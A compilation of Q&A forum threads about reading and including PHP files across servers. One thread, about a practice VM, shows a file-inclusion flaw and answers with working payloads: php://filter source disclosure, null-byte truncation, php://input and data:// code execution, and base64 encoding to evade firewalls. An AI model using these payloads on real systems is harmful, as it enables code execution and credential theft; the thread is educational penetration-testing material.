I have a file located on my server and I want to remotely access that file from another server and execute source code of the file from another PHP file located on the another server.
I have had a look at “File_get_contents” however this only obtains the content displayed by that PHP file, as can be seen below.
So therefore is it possible for a PHP file from an external server to read the source code of the PHP file located on my server and execute the commands on the external server?
You can use an extension other than .php for the source file, then use file_get_contents (or similar) to retrieve the contents.
Not using the php extensions will prevent PHP from parsing it as code, and just send it over as text instead.
However, that will also make the source readable to anyone who navigates to the file in a browser, as well as introducing a possible major vulnerability. You should look into why this is necessary and if it can be avoided somehow (perhaps calling the file on the other server with GET or POSTed parameters).
Related
I'm trying to exploit some web vulnerabilities in a sample website running inside a VM (it is not available on the web - only for educational purposes). I have a php file named setupreset.php which has the information about MySQL configs, setup and passwords used to setup the website. This is in the same directory as the rest of the php files (index, products, forum, etc...).
This is the code of index.php, for reference:
<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
include("home.html");
} else { include ($page . '.php'); }
include ("includes/footer.php");
?>
The main goal is to list the contents of the setupreset PHP file, or download it somehow. If I navigate to this file: http://10.211.55.5/index.php?page=setupreset, it gets executed, but the PHP code is naturally not shown, due to the fact that it is parsed by the PHP interpreter.
Now, the website uses PHP includes, so URLs look like this: http://10.211.55.5/index.php?page=products. This seems like it's vulnerable to remote file inclusion, where I could simply point to another PHP page, e.g. http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php but allow_url_include is off and cannot be changed, so this won't work (I tried this). However, allow_url_fopen is likely on (since it's on by default), so my question is the following: is it possible to upload a PHP file or some script that lists the content of setupreset.php using this kind of exploit?
If allow_url_include is off, you can't execute remote code. But you can find other pages, for example a content management dashboard, to upload your code as "image", then find the actual path and include it.
And, there are still ways to exploit.
Let's look inside your code. You may notice that it automatically add an extension .php at the end of path. So you should remove php in GET param. But what if the file you want to include does not have PHP extension? Then use %00 to terminate string, such as
http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00
There's a special protocol in PHP, powerful and dangerous. It's php://.
You can check out the offcial manual for detailed information, and here I'll show you some cases to make a file inclusion vulnerability become source disclosure and even remote code execution vulnerabilities.
Before your test, I suggest you use Firefox with HackBar plugin. It's a powerful penetration testing suite.
Source disclosure
This feature doesn't need url inclusion allowed.
php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read. (Reference)
Then you can see the source secret.inc.php in the same directory via following request.
http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc
File content will be encoded in base64, so it does support binary file.
It's powerful to get sensitive information, such as database passwords or a encryption key! If privilege is not proper configurated, it can even jump out of cage and extract data from files in outter directories, like /etc/passwd!
Remote code execution
Actually you can't exploit this way, because allow_url_include is Off in this case.
But I must point it out because it's magical!
It's completly different from local include. It doesn't need to upload any file to a remote server or so. All you need is one single request.
php://input can access the raw HTTP request body, so what does include("php://input") do? Just visit http://localhost/include.php?page=php://input, with valid PHP code in request body, then you can execute any (allowed) function in remote server!
Don't forget the %00 to drop .php tail.
Besides, PHP supports data:// URL scheme. You can directly put code in GET param! The following test doesn't need any special tool, just a normal browser can execute an attack.
http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>
Some Web Application Firewalls may detect suspected string in URL and block evil request, they won't leave the phpinfo alone. Is there a way to encrypt? Of course. data:// URL supports at least base64 encoding...
http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
And you will get familiar phpinfo once again!
Note
The null byte trick (%00) does not work anymore for PHP >= 5.3.4: http://blog.benjaminwalters.net/?p=22139
Use a directory traversal and end your input string with a %00 NUL meta character (as mentioned on wikipedia).
http://example.com/index.php?page=setuppreset%00
This will remove the ".php" suffix from the inclusion and might help you somehow.
It is not. The php file is getting executed because you call include, if you called readfile, file_get_contents or similar you could see the contents of the php file.
I have a PHP script called constants.php, in there I have a lot of valuable data, like my MySQL information, etc.
Is it possible to access that script outside my machine? Lets say, using the following: include http://www.fakewebsite.com/config/constants.php
Well, yes and no.
Yes: They will be able to access the output of the file constants.php (however most likely it will be blank).
No: They won't be able to access your variables. You can only access these before PHP has been parsed.
Let's read the docs:
If "URL fopen wrappers" are enabled in PHP (which they are in the
default configuration), you can specify the file to be included using
a URL (via HTTP or other supported wrapper - see Supported Protocols
and Wrappers for a list of protocols) instead of a local pathname. If
the target server interprets the target file as PHP code, variables
may be passed to the included file using a URL request string as used
with HTTP GET. This is not strictly speaking the same thing as
including the file and having it inherit the parent file's variable
scope; the script is actually being run on the remote server and the
result is then being included into the local script.
So you can actually load external files (if your admin allows you to). However, is it going to be useful in your case? Open http://www.fakewebsite.com/config/constants.php in your web browser and open the "View Source" menu. Whatever you see there, it's what your PHP script will see (most likely, a blank page).
Last but not least... Supposing that the remote server is configured to not execute *.php files or contains a PHP script that generates PHP code, why would you want to post all that valuable and sensitive data to the Internet?
If the URL is publically accessible, then yes, anyone can read it from the URL, including scripts.
However the key part here is that they will access the output of constants.php, not the file itself. They'll get exactly the same output as you would if you accessed the file from a web browser.
What they cannot do is include your actual PHP code by calling the URL. The URL is not a direct connection to the PHP file; it's a connection to the web server. The web server then processes the PHP file and provides the output. As long as the web server is processing the PHP file before sending the output, then your PHP code is safe. It can't be seen via the URL.
There may be other ways of getting at it, but not that way.
Yes, so long as you have access to the script, you can include it within your own scripts.
How to use PHP or any other language to read an uploading-file to allow download of the uploading-file while it is uploading?
Example sites that does this are:
http://www.filesovermiles.com/
http://host03.pipebytes.com/
Use this: http://www.php.net/manual/en/apc.configuration.php#ini.apc.rfc1867
In the array the file name is included as temp_filename - so you can pass that to your other program, which can read from the file and stream it live. The array also includes a file size so that program can make sure not to try to read beyond the end of the file.
I don't think this is possible in PHP because PHP takes care of receiving the download and only hands over control when it has the complete file. When writing CGI programs or Java servlets you read the upload from the socket so you are in control while receiving the file and you can administer if it is still uploading and how much has been received so another process could read this data and start sending what is already there.
One of the site's you've given as an example is just downloading a file from an URL or from the client computer, stores it temporarily and assigns a code to that file to make it identifiable.
After uploading, any other user who has the code can then download that file again.
This is more a question how you operate a server system then writing the code.
You can download files to the local system by making use of file_get_contents and file_put_contents.
If you want to stream file-data from the server to the browser, you can make use of readfile PHP Manual.
If i had a text file on my web server, which contains full PHP code, all properly formatted, could i use PHP fopen to read the text file and echo the output of the PHP to the browser. Ie. Run PHP code that is held in a text file rather than hard coded?
Thanks
It's perfectly possible to do this (it's just another file after all), although I'd be tempted to directly include it rather that messing around with fopen/eval, etc. (N.B.: The file would of course have to be "fully formed" and begin with "<?php", etc. for the include to work.)
However, I'd be very wary of naming the file with a .txt extension as this will mean that it'll be possible to browse the contents of this file directly from the browser if it exists in the public HTTP docs area. As such, why not simply write the data into a .php file - this will be no more difficult than a .txt file and offers the advantage that it always be parsed by the web server if someone attempts to access it.
You can read in the file as you suggested using fopen you can then execute the string that is read in using eval. I wouldn't recommend this. Try another solution to what ever the actual problem is.
Is it possible to call a PHP function found in a file on another website with a different domain?
For example, I know that to call a PHP function from another file in the same domain (say function aaa() found in aaa.php) I just have to simply do this (with a few simplifying assumptions):
include_once('aaa.php');
aaa();
I have tried doing something similar, such as:
include_once('http://othersite/aaa.php');
aaa();
I cannot get this to work (the page seems to load fine, with no error messages, but the function does not execute). I have tried require(), which gives me a blank screen. I have had no success with fopen either.
If it is possible to do this, how can I do it?
The include and require (and their _once variants) take a local filesystem path as their parameter. Domains have nothing to do with it.
Yes, you can also put an URL there (if you have the fopen wrappers enabled), but then PHP will just download the file and try to execute it. In other words, for this to work, if you entered http://othersite/aaa.php in your browser, it should show the PHP source, not the results of processing it.
When passing an URL to include \ require, PHP cannot do anything more than your browser. It's at the mercy of the webserver at othersite. If it doesn't return PHP code, there is no way that PHP can get to it.
What you are currently doing is getting the remote server to execute the PHP file and then you're reading the parsed contents -- the same as a browser would. So you get (presumably) HTML, not PHP code.
If the remote code does not need to be kept private for any reason (e.g. security) you can get the remote server to serve you the PHP source code. The easiest way to do that is to rename the file as aaa.txt, so it will not be passed to the PHP interpreter.
You can only do this if the other server is set to serve the PHP files as source -- i.e., without executing them.